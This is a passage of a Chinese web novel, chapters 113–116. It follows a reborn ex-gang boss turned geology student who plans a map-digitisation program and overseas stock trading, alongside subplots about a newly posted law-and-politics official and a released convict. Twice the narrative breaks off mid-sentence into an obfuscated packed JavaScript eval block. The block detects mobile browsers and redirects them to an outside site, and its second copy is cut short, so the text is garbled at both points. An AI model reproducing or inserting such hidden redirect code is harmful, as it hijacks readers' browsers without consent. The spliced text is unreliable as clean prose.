“行吧,行吧,以后常来家里。”顾爱芝也没多留。 李曼冲他挥了挥手:“毛哥再见!” 顾爱芝转过头来,瞪了女儿一眼:“让你喊毛叔叔,你怎么还喊上毛哥了?” 毛秘书在门口笑道:“喊哥好,喊哥好,显得年轻,给李书记服务也更有精力。” 笑声随着门关上的声音一起消失在走廊里。 “快洗手来吃饭,一会儿再帮我收拾收拾屋子。”顾爱芝转身进了厨房,把最后一道汤端出来,红烧鱼、糖醋排骨、清炒时蔬、番茄蛋花汤,满满当当摆了一桌子。 李曼洗了手,在餐桌前坐下来,往四周打量了一圈。三室一厅,不大,但收拾得干干净净。客厅的沙发、茶几、电视柜都是新的,有些家具的边角上还贴着透明胶布,明显是刚搬进来还没来得及拆封。 “妈,以后我们就住在这儿吗?” “对。”顾爱芝在女儿对面坐下,“你爸在宁海,我们就住在这儿。” “爸到宁海来担任什么职位呀?” 顾爱芝一边给女儿夹菜一边说:“政法委书记。” 李曼“啊”了一声,筷子停在半空中:“不在纪委了?” “这事你爸说了又不算。”顾爱芝放下筷子,“组织上安排去哪儿就去哪儿,让他干什么就得干什么。回头见到你爸,你多跟他说说话,让他见到女儿能放松放松。这次来宁海,明显能感觉到你爸是顶着巨大压力的。” 她叹了口气:“哎,也不知道是好事还是坏事。” “爸呢?”李曼问。 “在单位开会呗。”顾爱芝语气里带着一种习以为常的抱怨,“你指望他能回来吃午饭?晚上能准点回来就不错喽。不过我已经跟他说了,女儿今天要回家,看他有没有良心了。” 与此同时,市委办公楼里。 李际全坐在新办公室的皮椅上,面前是一张宽大的办公桌,桌上摊着几份文件,旁边放着一个还没拆封的笔筒。他穿着一件白色的短袖衬衫,袖口卷到小臂,整个人看起来比在东林的时候更瘦了一些。 对面的沙发上,正是他的师傅,付祥民。 付祥民穿着一件洗得发白的旧夹克,脸上的褶子像刀刻的一样,整个人靠在沙发里,手里夹着一根烟,一脸的不耐烦。 “李书记,我还有一个月就退休了。你把我折腾到宁海来干什么?”付祥民把烟灰弹在地上,抬眼看了李际全一眼,声音不大,但语气里全是怨气。 李际全没急着回答,从桌上的烟盒里抽出一根烟,点上,吸了一口,才慢悠悠地开口:“师傅,宁海这边的案子需要你。” 付祥民哼了一声,没接话。 李际全身子往前倾了倾:“组织上把我调过来当政法委书记,把孙红革调过来当分管公安的副市长,还有其他一系列人事变动——就是要在这边来真格的。” 他顿了一下,目光落在付祥民脸上:“但是光我们这些人站在台阶上没用。下面必须要有一个有能力、有经验、有威望的人,把市局给抓起来。要不然,我们是寸步难行。” 付祥民把烟掐灭在茶几上,坐直了身子:“我就剩一个月就退休了,你还能让我来宁海当公安局长?” “副局长,兼专案组组长。”李际全解释道,“马局长身体不太好,一直都在家休养。而且您老人家在宁海的公安系统里也很有威望——” “我身体也不好!”付祥民直接打断他,瞪着眼睛,“你师傅我一把老骨头了,你就不能让我安安稳稳地退休么?” 李际全没说话,弯下腰,从脚边的包里翻出一叠文件,厚厚的,用牛皮纸袋装着。他把文件袋放在桌上,往前推了推,推到付祥民面前。 “师傅,你看看这些卷宗。” 付祥民看了一眼那个牛皮纸袋,没动。 李际全看着他的眼睛,一字一句:“看完之后,如果您还能安心地退休,不想着把这些犯罪分子和国家蛀虫绳之以法——就当这话我没说。” 付祥民别过头去:“我不看!你也别给我看。李书记,你少跟我来这套,看了你的卷宗我还能脱得了身么?” 他站起来,拍了拍裤腿上的烟灰,语气坚决:“这事不行。我马上退休了,又不是宁海的警察。你把我弄过来,没有政策依据,强行任命,是要犯组织错误的。” 李际全吸了一口烟,慢悠悠地吐出来:“怎么没有政策依据?根据八十三年国家出台的‘高级专家离休退休若干问题的暂行规定’,您完全符合继续聘任的标准。” 付祥民愣了一下,哭笑不得地说:“我就是一个基层的老警察,我算个屁的高级专家?李书记,你别血口喷人啊!” “您以前立过的功,您不能不认吧?”李际全说,“手续方面您也不用担心。市局可以办借调,就算您退居二线卸下实职,可以转任调研员或者巡视员,然后让您以专案组组长的身份继续指挥。办完案子后还有表彰,在办理退休手续前原地提拔一级——这难道不好吗?” 他把烟掐灭在烟灰缸里,看着付祥民:“办法多的是,师傅。组织上通过高层次人才留用程序,让您延迟三年退休,一点问题没有。” 付祥民气得嘴唇都哆嗦了,手指着李际全—— “一个月的副局长,对我来说有什么意义?一个月后卸下实职转任调研员,还得给你在专案组里干三年!” 说到这,他的声音猛然拔高,“李书记,你官儿当大了以后,连脸都不要了?” 第113章 乌鸡变凤凰 “师傅,别生气,喝点茶。” 李际全站起来,拎起茶几上的热水瓶,拧开盖子,准备给付祥民倒茶。 “我不喝。”付祥民把手一挡,怒气冲冲,像是这杯茶里下了毒似的。 李际全笑了笑,也不勉强,把热水瓶放回去了。 就在这时,“嘀嘀嘀——嘀嘀嘀——”付祥民腰间的BB机响了。 付祥民低头看了一眼,皱了皱眉,站起身来:“我去回个电话。” 李际全伸手一指桌上的电话:“用我这个。” 付祥民哼了一声,抓起话筒,手指在按键上戳,嘴里也没闲着:“我家老太婆找我。放心吧,我可不会用你李书记办公室的电话随便拨给外人的!” 李际全嘿嘿一笑:“师傅还是把我当自己人。” “我是跟你划清界限,免得李书记给我穿小鞋。”付祥民头都没抬,语气硬邦邦的,“这事没商量,绝对不行。” 电话接通了。付祥民的声音立刻换了个调,从跟李际全说话的夹枪带棒变成了平淡的日常:“喂?谁......你说谁来找我了?” 电话那头,他老伴的声音带着几分急切:“小马的爱人。” 付祥民一下子没反应过来:“小马?哪个小马?” “马喜林!喜林他爱人来了,还带着孩子。” 付祥民握着话筒的手一顿,立刻沉默了下来。 电话那头他老伴还在说什么,他已经听不太清了。脑子里闪过一张脸——年轻的,笑着的,穿着警服的,那是很多年前了。 “……跟他们说,我在宁海呢。”付祥民的声音像是被什么东西压住了,“你留他们吃晚饭,我差不多那时候,肯定赶回去。” 他挂了电话,手指在话筒上停了一瞬,才慢慢放回去。 李际全也听到了电话里那个名字,神情微微一凝,语气沉了下来:“喜林他媳妇……这些年谁都不联系,就自个儿开着店卖馄饨。这怕是遇上什么事了吧?” 付祥民没接话,转身就走。 “师傅!”李际全站起身,追了一步,“我让司机送您,别坐火车了——” 付祥民理都没理,拉开门,头也没回,径直走了。 门在身后关上,办公室里一下子静了下来。 李际全站在办公桌后面,望着那扇关上的门,嘴角动了动,挤出一丝苦笑。他慢慢坐回椅子上,靠进椅背,抬手揉了揉眉心,一下,两下,三下。 屋子里只剩下墙上石英钟的滴答声。 他坐了一会儿,睁开眼,拿起桌上摊开的卷宗,翻了几页。 把师傅从东林请到宁海来,他也是实在没了别的办法。 这次要办的案子,牵涉之广、阻力之大、风险之高,远超他以往经手的任何一次。即便他现在是宁海市政法委书记,即便上面有市委郭书记撑腰,可一想到即将面对的那些对手,他心里还是发虚。 若成了,正厅级的位置,以及更远的路,都会向他敞开。 若不成…… 他没有再往下想。 不过,李际全从来不是遇难而退的人。从寒门一路拼到今天这个位置,靠的不是关系,也不是运气,而是一股韧劲。这股韧劲没有随年龄消退,反倒多了几分历练之后的睿智与从容。 他把卷宗收进包里,拉好拉链,拿起桌上的电话:“小毛,郭书记那边的会开完了吗?” “刚回办公室。夏秘书已经打电话给我了。” “好,我现在过去。” 他挂断电话,站起来,把衬衫下摆往裤腰里掖了掖,拎起包,走出了办公室。 ... 宁海,城北监狱。 铁门在一阵沉闷的响动中缓缓打开。 包达拎着一个蛇皮袋走出来,站在门外,眯着眼睛抬头看了看天。五月的阳光不算毒,但他还是本能地抬手遮了一下。 六个月。 不对,是九个月。 本来判的是六个月,认罪态度也还行,法官量刑的时候算是从轻了。他以为自己运气不错,熬半年就出去了。结果进去之后有一次憋不住,偷了管教的烟,偷了之后没自己独吞,分给同监室的好几个人抽。 就因为这几支烟,监室里几个烟鬼打了起来,惊动了狱政科。 事情一查,烟是从哪儿来的?管教丢的。管教丢的烟是谁偷的?包达。 盗窃管教财物,加上引发监室斗殴,两罪并罚,加刑三个月。六个月变成了九个月,一直拖到现在才出来。 包达回头看了一眼那扇铁门,快跑了两步,像是要远离什么脏东西似的。跑出去一百多米,才停下来,弯着腰喘了几口气,然后直起身,拍了拍蛇皮袋上的灰,朝公交站台走去。 脑子里乱七八糟地转着。 妹妹不知道怎么样了。这么长时间,她一个人在外面,也不知道有没有受欺负。想到这儿,他又想起发廊那个老板娘——那个骚娘们儿,波浪卷发,嘴上涂着红彤彤的口红,穿个吊带裙,领口开得低低的。那天在发廊里跟她嘿咻,正来劲呢,她老公不知道从哪儿冒出来了,拎着棍子就冲进来。 包达当时裤子都没提好,跟那男人扭打在一起。那老板娘呢?非但没帮他,还拉偏架——拽着他的胳膊不撒手,让她老公往他身上招呼。 都一个破鞋了,还装什么装! 想到这儿,包达心里还是有些不爽,啐了一口唾沫在地上。 他快走到公交站台的时候,看见路边停着一辆夏利。红色的,车身还算新。他眯着眼睛看了一眼——不是出租车。 那应该不是妹妹来接自己了。 包达心里有点微微的失落,不过也不出乎他的预料。妹妹能把自己养活就不错了,哪能顾得过来他这个哥哥? 他收回目光,朝公交站台走去。 嘀嘀—— 那辆夏利突然摁了喇叭。 包达脚步一顿,回头看了一眼。车窗缓缓摇下来,里面探出一个脑袋,齐耳短发,化着淡妆,穿着一件高垫肩的港版女士西装。 “哥!这边!怎么这么久才出来?” 包达愣住了。 他瞪着眼睛,嘴巴微张,整个人像被钉在了原地。 这是……自己的妹妹? 他简直不敢认了。 “哥,你过来呀,愣在那儿干嘛?”包丽见他不动弹,嗓门一下子大了起来,“蹲监狱蹲傻了还是被雷劈中死穴了?我跟你说,你要成废人我可没钱养你啊!” 听到这话,包达回过神来了。 操,确实是自己妹妹。 他咧嘴笑了一下,拎着蛇皮袋往那辆车走过去,一边走一边说:“从哪儿弄了这么一辆破车?跟开出租的似的。” 话说到一半,他说不下去了。 因为车门打开了,一个人从副驾驶座上下来,靠在车门上,双手插兜,似笑非笑地看着他。 韩学涛。 “包达,你可以啊。我叫你到宁海来先隐着,结果你直接躲到监狱里去了。嫌车不好?行,你自己走回去吧。” 包达的脸色一下子就变了。 他扔下手里的蛇皮袋,一路小跑过去,腰不自觉地弯了下去,脸上的表情从刚才的吊儿郎当变成了毕恭毕敬,甚至带着几分紧张。 “老大,我也是一不小心……”他咽了口唾沫,“发廊那个臭婊子,我回去就收拾——” 他看到韩学涛的眼神,后面的话硬生生咽了回去。 那眼神不凶,甚至算不上冷,但包达知道这种时候最好闭嘴。 他赶紧转移话题,转头看向包丽:“这车哪儿来的?” 包丽从驾驶座上探出头来,语气里带着点得意:“涛哥出钱买的,让我开着。” 包达愣了一下,然后猛地转向韩学涛。 韩学涛一巴掌拍在他后脑勺上,“你脑子里除了男女床上那点事,能不能有点别的?” 包达摸着后脑勺,嘿嘿笑了两声,没敢吭声。看韩学涛的眼神他就知道这家伙想歪了。 这车确实是韩学涛让买的,但没出钱。 是包丽倒卖抽油烟机的分红。第二次分红,又是七万块。韩学涛没拿,让包丽去买辆车,以后好方便开车办事。一来,包丽把他住的那一片的抽油烟机市场都占了,再做业务就要跑更远的地方;二来,他自己以后要用车也方便。 包丽高兴坏了。跟着涛哥混了一年,自己竟然能开上车了! 这是她以前想都不敢想的事情。 她也懂得省钱,没买新车,花了四万八到二手市场买了一辆一年车龄的夏利。然后按照韩学涛的要求,剩下的钱买了两部手机——最新出的数字机,爱立信,比大块头的大哥大小得多,也便宜一些,一部八千块。一部给韩学涛,一部自己留着用。 有车,有手机,包丽觉得自己简直是乌鸡变了凤凰。 包达听妹妹说了这些,抓着头发,半天没说出话来。 过了好一会儿,他才抬起头,看着韩学涛,认真地说:“老大,要是没有你,我们兄妹现在还不知道是什么样子呢。以后你有什么吩咐,我包达——” “别扯什么以后了。”韩学涛淡淡地说,“我现在就有事吩咐你。” 第114章 我感觉她像变了一个人 周五下午,计算机课刚结束。 韩学涛和李曼一起走出教学楼,沿着校园主干道往宿舍区走。夏天的风迎面吹来,带着梧桐树叶那股青涩的气息。 走了没几步,韩学涛就发现李曼有些心不在焉——她低着头,步子比平时慢了不少。 “怎么了?” 李曼抬起头,犹豫了一下:“感觉点点最近不太对劲。” 韩学涛眉头微微一挑:“又管你借钱了?” 李曼摇摇头:“没有。她前几天给我打电话,说想拉我一起去旅游。” “旅游?”韩学涛看了她一眼,“她不用上课吗?” “她说现在他们大学的课都无所谓,上不上都一样。”李曼转过头,语气里带着困惑,“这就是我觉得奇怪的地方。以前点点虽然成绩不是特别好,但态度一直很认真,有时候比我还用功,绝对说不出‘课无所谓’这种话。” 她手指在包带上绕了一圈,声音低了下去:“而且,她从我这儿借了钱,不说先还我,还要拉我去旅游。以前的点点绝对做不出这种事。我感觉她像变了一个人似的。” 韩学涛没接话,脑子里浮现的却是那个吴翔,还有已经退学的马辉。 李曼的心情明显有些低落。她的朋友不算多,从高中到现在,关系最好的就是罗点点。可自从交了那个男朋友之后,点点一天天变得陌生起来,让她有些接受不了。 她脑子里还闪过另一个念头——上次那个吴翔,竟然不是通过点点,而是自己跑来找她去参加什么展会。这事儿她一直没跟韩学涛提过,但心里始终别着一根刺,说不上哪儿不对,就是不舒服。 两个人沉默着走了一段路。 前面,小白和楚强站在学校公告栏前,停住了脚步。 韩学涛和李曼走过去,目光也落在公告栏上。 那是一份盖着宁海大学红章的调查公告,标题是粗黑体的大字——“关于实验楼火灾事故的调查处理通报”。 内容不长,大意是:经保卫处会同有关部门调查,实验楼火灾系电路设备老化短路引发,未发现人为纵火迹象。学校已对全校电路设施进行全面排查,并将进一步加强火灾防控工作,同时提醒广大师生注意安全用电、安全用火,杜绝此类事件再次发生。 小白站在公告栏前,盯着那几行字,一动不动。 过了几秒钟,他的肩膀不自觉地往下沉了沉,像是卸下了一块大石头。他转头看了韩学涛一眼。 韩学涛一脸淡定,双手插在裤兜里,目光在那份公告上扫了一遍,表情没有任何变化,仿佛这份公告说的是别人家的事,跟他毫无关系。 反倒是旁边的楚强叹了口气。 小白转过头,有些意外地看着他:“你叹什么气?” 楚强用下巴指了指公告,满是遗憾地说:“这玩意儿一贴出来,咱们巡逻队就要解散了呗。线路老化?查没查清楚啊?哎!真希望是有人纵火呀。” 小白直接翻了个白眼。 韩学涛笑了一下:“就算不解散,你这个爱心基金也差不多了。过了刚开始那股劲儿,学生不可能老给你们捐钱,后面就变成你们打白工了。” 话音未落,李曼用小拳头捶了他一下,嗔怪道:“你这话说的,好像人家是为了钱才干似的。本来就是公益性质,以后巡逻队解散了,这个基金就把钱奖励给捡到失物上交的人。讲文明、树新风,这才能形成长效机制。” 韩学涛摸着下巴,点了点头,转头对楚强说:“听见领导的话了吧?估计确实离解散不远了。” 楚强没说话,那张扑克脸上看不出什么表情,但眼睛里分明写着两个字——郁闷。 几个人在路口分开。李曼往女生宿舍方向走了,小白也跟着回了寝室。韩学涛正要走,楚强拉住了他的胳膊。 “学涛,等一下。” 韩学涛停下脚步,看着他。 楚强犹豫了一下,开口了:“还有没有什么能赚钱的路子?” 韩学涛有些诧异地看了他一眼。这几个月楚强从爱心基金里弄的钱,不说多,两年的学费应该是够了。他以为楚强手头应该宽裕了不少。 “这几个月你弄的钱呢?难道都没了?” 楚强垂下眼睛:“家里需要用钱,我都寄回去了。” 韩学涛看着他,没再问。有些话不能随便问——如果别人不想说,问出来只会尴尬。如果楚强愿意说,不用问,他也会告诉你。 “你需要多少钱?”韩学涛问。 “十来万吧。”楚强说。 “这么多?!”小白不知道什么时候折了回来,站在旁边,眼睛瞪得溜圆。 在他眼里,十万块钱已经是天文数字了。他家买单位分的房子,总共才花了三千块。他有个堂哥没读过书,就在县城卖炒货,现在成了万元户就已经牛得不行了。十万块钱,他这辈子能不能赚到都不好说。 楚强没理小白的惊呼,看着韩学涛:“要不我们去倒腾点苹果卖?” 上次韩学涛帮展雪她们卖苹果的事,给他留下了深刻的印象。 韩学涛摇了摇头。 “商业街的位置是孙婷婷拿下来的,我们没有她的关系,拿不到。”他说,“当然,这还不是最关键的。最关键的,是这生意太耗人了。” 他把自己的想法说了一遍。倒腾苹果这种事,需要不断进货,卖的时候还得有人盯着,基本上离不开人。上次卖那些苹果,可是两个寝室十几个人一起动手才搞定的。现在光靠他和楚强两个人,怎么搞? 雇人?雇人的成本算进去,利润就更薄了,操心的事一堆,太麻烦。 “你等我两天。”韩学涛说,“我想清楚了跟你说。” ... 韩学涛没在学校食堂吃晚饭,骑上自行车回了家。 推开门,屋里黑着灯,静悄悄的。父母都不在。厨房灶台上干干净净,连口热汤都没有。 他在门口愣了片刻,又把自行车推了出去,直奔鞋厂培训班。 到了鞋厂厂房,远远就看见灯亮着。 韩学涛把车停在门口,走进去一看——母亲赵秀荣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17452329|200898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正带着一帮妇女在里间做培训,十几个人围坐在长桌旁,桌上铺满了布料和半成品。赵秀荣站在最前面,手里拿着一块布料,正讲解花样的做法。 外面搭了个半敞开的棚子,铁架子支起来,顶上铺着石棉瓦。棚子里摆着几台拆开的缝纫机,地上堆着零件,扳手、螺丝刀散了一地。父亲韩德富蹲在一台机器前,手里拿着工具,正鼓捣着什么。 旁边站着两个年轻人,一个穿着鞋厂的工作服,另一个是从东林来的——以前在化肥厂跟着韩德富干过的学徒,姓周。父亲现在忙不过来,把他叫过来帮忙了。两个人盯着韩德富的动作,看得聚精会神。 韩学涛张了张嘴,想喊一声,又觉得这会儿喊了也是添乱。父母都在忙,哪有空理他? 他转身走了。 回到家,他打开冰箱看了看,然后撸起袖子,自己动手炒了几个菜,炖了一个汤,把冰箱填满。然后一个人坐在餐桌前,对着饭菜吃了几口,觉得没什么意思。 干脆洗了碗筷出门,在街边的小面馆里吃了一碗面,然后坐车回了学校。 车窗外,宁海的夜景在灯光里一帧一帧地往后掠。韩学涛靠在座位上,脑子里转的不是父母有多辛苦,而是另一件事。 随着编程水平一天天提高,画地图的事,似乎可以往前推进一步了。 这个念头在心里盘了很久了。如果这件事能做成,他就算再次扎住了根基——就像在南美时,没有选择**,而是去挖金矿。那时候黄金价格极低,出力不讨好,别的黑帮看不上,他才捡了漏。后来金价暴涨,他的利润也跟着水涨船高,等别的黑帮想再进来,就只能喝他的洗脚水了。 他现在做的这件事,跟当年在南美挖金矿,本质上是一个道理。 韩学涛没回寝室,而是来到留学生楼。正要上楼,楼梯上下来一个人。 许秋。 她穿着一件浅色连衣裙,头发披在肩上,手里拎着一个纸袋。 两个人打了个照面,同时愣了一下。 许秋反应过来,神色有些不自然。 韩学涛对她微微笑了笑,侧身让了让,就要错身上楼。 “韩学涛。”许秋向下走了两步,又回头叫住了他。 “嗯?” “我来这边是拿点东西的,拿了就走。你怎么过来了?”许秋抿了抿嘴唇,声音不大,带着一丝解释的意味。 韩学涛自然不会告诉她,自己在这里有个住处,随口含糊道:“我来办点事。” 许秋“嗯”了一声,心里也没多想。韩学涛英语好,认识个把留学生不是什么奇怪的事。她点了点头,语气恢复了平常的语气:“那我先走了,有空聊。” 她挥了挥手,转身走了两步。 “许秋。” 韩学涛的声音从身后传来。 她停下脚步,转过头,疑惑地看着他,没想到韩学涛会把她叫住。 “上次在英语角碰到的那个戴维,我记得是叫叶俊豪。你现在还跟他有联系吗?” 许秋愣了一下:“啊?” 第115章 你的活要来了 许秋没想到韩学涛会突然问起戴维。 她刚才正是从戴维房间出来的——所以一见到韩学涛,神色就有些不自然。 203寝室的人都把她和周晓白往一块儿凑。小白确实跟她表白过,但她没有答应。她以后要出国的,跟小白注定走不到一起,何必耗费心神谈一场没有结果的恋爱呢? “戴维?”许秋的嘴唇又抿在了一起。 韩学涛笑着摆了摆手:“没别的意思,就是想咨询点事。他不是港岛人嘛。” 许秋沉默了几秒,目光在他脸上停了停,像是在掂量这话有几分真。最后她点了点头:“我带你去找他。” 她转过身,韩学涛跟在后面,一前一后上了楼。 戴维的房间在走廊尽头。许秋敲了敲门,里面传来声音:“来了来了。” 门开了。戴维站在门口,穿着一件深色家居T恤,头发半干,像是刚洗完澡。他看见许秋,脸上先是一喜,再看见她身后的韩学涛,明显愣了一下,目光在两人之间来回扫了扫。 许秋说:“戴维,这是我联谊寝室的韩学涛。上次在英语角你们见过。他想找你咨询点事。” 戴维很快恢复了笑容,侧身让开:“印象深刻,进来坐。” 房间不大,但比普通留学生宿舍精致些。戴维招呼韩学涛坐下,从柜子里拿出一瓶红酒和三个杯子,倒了小半杯。 “许秋刚才来的时候我就想让她喝,她没喝。”戴维笑着把酒杯递过去,“现在人多热闹,总该喝了吧?” 许秋这次没有拒绝。她接过酒杯,并着腿在沙发上坐下来,抿了一口,目光落在韩学涛身上——带着一种连她自己都没意识到的好奇。 韩学涛和戴维开始聊天。寒暄了几句,话题很快转到正事上。 许秋一开始只是漫不经心地听着,渐渐地,耳朵竖了起来。 韩学涛问的是——如何在港岛市场开设证券账户。 许秋坐在旁边,越听越惊讶。 她看着韩学涛,心里翻来覆去只有一个念头——你想得也太多了吧?她连雅思考不考都还没确定,韩学涛居然已经在琢磨去国外炒股了?你不是特困生吗?有多少钱能拿到国外去炒? 她抿了一口酒,目光在韩学涛脸上停了很久。然后她发现了一个更让她吃惊的事实——韩学涛对港岛那边的情况似乎相当熟悉,有些地方比戴维还熟。他只是受限于没法肉身出境,所以才需要找人代理。 他是怎么知道这些的? 许秋看着韩学涛,眼中满是惊异。这个男人身上好像蒙着一层雾,你以为走近了就能看清,走近了才发现雾后面还是雾。 韩学涛注意到了许秋的目光,但他不在意。 他找戴维,是看到许秋之后临时起意。他现在确实需要渠道把资金弄出去——国内股市几年内都不会有起色,一九九七年的高点已经过去了,接下来是漫长的阴跌。要赚钱,只能去国外。 而眼前马上就会迎来一个天赐良机。亚洲金融危机,就要来了。 他这次找戴维,也不是说就选定了他,而是先聊聊,看看有没有用得上的可能。渠道这种事,多一条路总比少一条路好。 至于许秋,他更不担心。 上次英语角之后,她们寝室没有一个人来问他英语好的事——这说明许秋嘴很严,该说的不该说的,她分得清楚。而且他能当着许秋面说出来的事,都不怕让别人知道。 人往上走,财富越来越多,地位越来越高,别人总会看见你,注定无法把什么都藏住。与其如此,不如精心地展示——展示你想让他们看到的,藏住你不想让他们看到的。 红酒喝了小半瓶,韩学涛站起来,跟戴维握了握手:“今天聊得差不多了,改天请你吃饭。” 戴维笑着说好,送到门口。 许秋也站起来,跟戴维道了别,跟着韩学涛一起下楼。 走廊里很安静,脚步声在空旷的楼道里回响。 走到楼下,许秋忽然开口:“你真的打算去港岛炒股?” 韩学涛说:“随便问问而已。” 许秋没再追问。但她心里知道,韩学涛肯定不是随便问问。“放心好了,我不会跟别人说的。” 韩学涛转头一笑。 聪明的女人。 碰到许秋是个小插曲,并没有影响到韩学涛的节奏。 连续两天,他都没回寝室,扎在留学生宿舍里熬通宵。电脑屏幕的蓝光映在脸上,手指在键盘上噼里啪啦地敲,一行一行的代码在屏幕上流淌。困了就靠在椅背上闭一会儿眼,饿了就泡一包方便面,整个房间里弥漫着廉价调料包的味道。 他把这段时间编的几个程序反复调试,改了无数个bug,直到自己初步满意为止。 星期一早上,韩学涛做好最后的准备工作,把代码备份好,关了电脑,走到洗手间洗漱。 他拧开水龙头,捧了把凉水泼在脸上,抬起头的时候,看着镜子里的自己,突然晃了一下神。 镜子里是一张年轻的脸,二十岁不到,眉眼间还带着少年气,下巴的轮廓已经开始变得硬朗。头发有点长,熬夜熬出来的黑眼圈挂在眼下,但精神还不错。 他盯着镜子里的人看了好几秒,脑子里忽然冒出一个念头——自己一个黑道大佬,现在竟然搞起技术来了。 一时间自己都有些哭笑不得。 上一世在南美,他手里握着的是枪,身边跟着的是亡命之徒,谈生意用的是拳头和**。现在呢?手里握着的是书和键盘,身边跟着的是同寝室的大学生,谈的是算法和坐标转换。 唏嘘归唏嘘,他很快收回了思绪。 只有他自己知道自己这么做的目的是什么。不仅仅是不想跟上一世走同样的路,更是要自己掌握自己的命运,不想被任何人摆布。 对他这样没有任何家世背景的寒门子弟来说,要做到这一步,绝对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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韩学涛一脸无辜:“喂,**什么了?天天在学生会忙活的可是你。我到大学参加的唯一一次课外活动,是你拉我去主持新生汇演。其余的事情我可一点没干——不要说你们学生会,我连社团都没参加一个。一门心思在学习上,本分的不能再本分了。” 李曼张了张嘴,想了想,竟然发现韩学涛说的没错。 可是…… 为什么自己总有一种他老在搞事情的感觉呢? 她盯着韩学涛看了两秒,哼了一声:“那你告诉我,这次你准备干什么?如果是好事,我也参加。” 韩学涛看了她一眼,摇了摇头:“你不行。” 李曼眉头一挑:“为什么我不行?难道只能你们男的参加?” “强子和小白是跟我一个专业的。”韩学涛说,“你要参加,就先转到我们地质系来。” 李曼翻了个白眼:“拉倒,我才不去你们地球修理系呢!” 第116章 地质系卢主任 英语课后,韩学涛没去上课,直接去了地质系办公楼。 地质系在校园西边一栋灰白色的老楼里,走廊里弥漫着陈年纸张和矿石标本混合的味道。他上了三楼,在走廊尽头找到挂着“系主任”牌子的房间,敲了敲门。 “进来。” 韩学涛推门进去。 卢主任坐在办公桌后面,头发花白,戴着一副黑框眼镜,正低头翻看一份文件。 韩学涛对卢主任的了解,大部分来自系里的介绍—— 七八年恢复高考后,卢主任考上了地质大学的硕士研究生,师从著名的矿藏专家袁建奇院士。八五年获教育部公派到日本东北大学攻读构造地质博士,九零年回国,在宁海大学申报了资源勘查工程的国家重点学科。后来还作为地质部专家组成员参与了大庆油田“稳产十亿吨”的攻关项目,现在是国家石油协会石油地质专业委员会的副主任,地质系绝对的学科带头人。 “卢主任,我是96级地图遥感专业的韩学涛。” 卢主任抬起头,目光从眼镜片后面看过来,打量了韩学涛一眼,然后微微点了点头,像是想起了什么。 “韩学涛?”他合上手里的文件,“你的名字我有印象。我们系这一届地图专业调剂过来的第一个学生,就是你吧?” “是。”韩学涛说。 “坐坐坐。”卢主任伸手往对面的椅子一指,语气随意了不少,“你们专业课这学期都已经开始上了吧?提前跟你说,现在可转不了专业了。” 卢主任完全想起来了,当时主动选择地图专业,是唯一的独苗,为此卢主任还给他了一个特困生的名额。所以,现在这小子要是找自己要求转专业,那可是不行! 韩学涛微微一怔,然后笑了:“教授,我不是来转专业的。我挺喜欢这个专业的。” 卢主任蹲起茶杯,“那你说吧,找我什么事?” 韩学涛在椅子上坐下来,组织了一下语言,开口了。 “教授,我平时没事的时候编了一套小程序,可以把纸质的地图数据化。想问问系里面能不能介绍我去测绘局试一试。” 卢主任端着茶杯的手停了一下,抬起头看着韩学涛,半天没反应过来。 “你说啥?”他把茶杯放下,往前倾了倾身子,“把地图数据化?” “对。”韩学涛点了点头,语速不快,但条理很清楚,“现在的测绘图纸大多还是硫酸纸和聚酯薄膜,频繁折叠、触摸会导致线条断裂。最致命的是霉变和受潮——一旦图纸因为潮湿伸缩,哪怕只差几毫米,实地可能就是几米的偏差。” 他顿了顿,继续说:“而且检索起来像大海捞针。找一张图得去档案室翻半天登记簿,再由专人从几千个铁皮筒里抽出来。如果上一任办事员放错了位置,这张图就相当于‘物理消失’了。如果能把图纸数据化,存在电脑里,检索、修改、传输都会方便很多。” 卢主任听完,靠在椅背上,沉默了几秒,然后忍不住笑了出来。 “韩学涛啊韩学涛。”他摇了摇头,语气里带着一种长辈对晚辈的宽容和无奈,“你的想法是很好的,说的也确实是现在地图测绘和规划行业的困境。但是想要解决这个问题,可并不仅仅是把纸质的地图画到电脑上那么简单。” 他伸出一根手指,在桌上点了点:“当然,这一步其实也不简单——扫描、拼接、配准,每一张图都要花不少功夫。不过比起后面那些问题,这都算是简单的了。处理噪点、坐标混乱、非线性纠偏……这些才是真正的麻烦。” 他看着韩学涛:“我问问你,你有几个人能做这个事儿?” “三个人。”韩学涛说,“足够了。” 卢主任愣了一下,然后笑了,这回笑得更明显了些:“三个人?别说三个人,你三十个人干三年都不够。” 韩学涛没有被这句话噎住。他坐得很直,看着卢主任的眼睛,语气还是那么不紧不慢:“教授,我明白您说的问题。” 他掰着手指头,一条一条地说:“所谓噪点,就是处理老图纸上的污渍和折痕在扫描仪下无法识别的问题。坐标混乱,就是不同坐标系之间的过渡——毕竟很多老图纸是建国前和苏援时期的,坐标系不统一。而非线性纠偏,是因为图纸经过几十年存放,干湿程度不一,收缩程度不同导致的形变。” 他抬起头,看着卢主任的眼睛:“这些,我都有办法解决。” 办公室里的空气安静了几秒。 卢主任靠在椅背上,手指在扶手上轻轻敲了两下,看着韩学涛,目光里的审视意味比刚才更浓了,但多了一些别的东西——将信将疑,好奇,还有一丝不易察觉的期待。 从刚才这段对话来看,这个大一学生确实是了解这些问题的,但是说他能解决——卢主任不太相信。这些涉及复杂的计算机编程技术,而这方面恰恰是国内很多专业人士的不足。 学地质的不懂计算机,学计算机的不懂地质。两拨人说着不同的语言,谁也听不懂谁在说什么。 可是万一——万一这小子说的是真的呢? 卢主任站了起来,把椅子往后推了推。 “你跟我来。” 